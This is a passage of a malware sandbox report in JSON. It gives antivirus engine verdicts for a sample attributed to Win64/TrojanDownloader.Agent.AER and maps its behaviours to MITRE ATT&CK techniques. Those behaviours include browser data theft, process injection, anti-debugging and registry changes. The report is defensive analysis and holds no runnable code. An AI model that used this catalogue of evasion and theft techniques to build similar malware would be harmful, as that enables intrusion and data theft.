a_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Genus.BBE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win64/TrojanDownloader.Agent.AER","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"},{"type":"informative","value":"Contains reference to Hijacked CLSID(s)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Contains ability to register hotkeys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"informative","value":"Contains reference to messaging system library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Tries to sleep for a long time (more than two minutes)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"YARA signature match - Cryptography Rijndael"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"YARA signature match - AES Encryption"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Found Base64 decoding crypto library string in memory"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to read monitor info"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the specified system metric or system configuration setting"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"suspicious","value":"YARA signature match - Crypto Library"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops files with image extension"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"suspicious","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"},{"type":"informative","value":"Found Base64 encoding crypto library string in memory"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\".exe\" called \"FindResourceA\" with parameter \"1\" - (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\".exe\" called \"LoadResource with parameter {'hModule': '0', 'hResInfo': '5367923864'}\" (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"missionA.bin\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"missionA.bin\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"Helpers::RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"missionA.bin\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"CryptCNGInitHMAC\" (Indicator: \"HMAC\"; Source: \"00000000-00003864.00000000.69753.000D0000.00000004.mdmp, 00000000-00003864.00000001.71678.000D0000.00000004.mdmp, 00000000-00003864.00000002.73602.000D0000.00000004.mdmp, 00000000-00003864.00000003.81040.000D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found Base64 decoding crypto library string in memory","description":"$27","origin":"Memory Dumps","mitre_attack_id":"T1140","relevance":2,"id":"memorydump-12","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found Base64 encoding crypto library string in memory","description":"$28","origin":"Memory Dumps","mitre_attack_id":"T1132.001","relevance":2,"id":"memorydump-11","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"$29","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\".exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"missionA.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"missionA.bin\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"missionA.bin\")\n Found 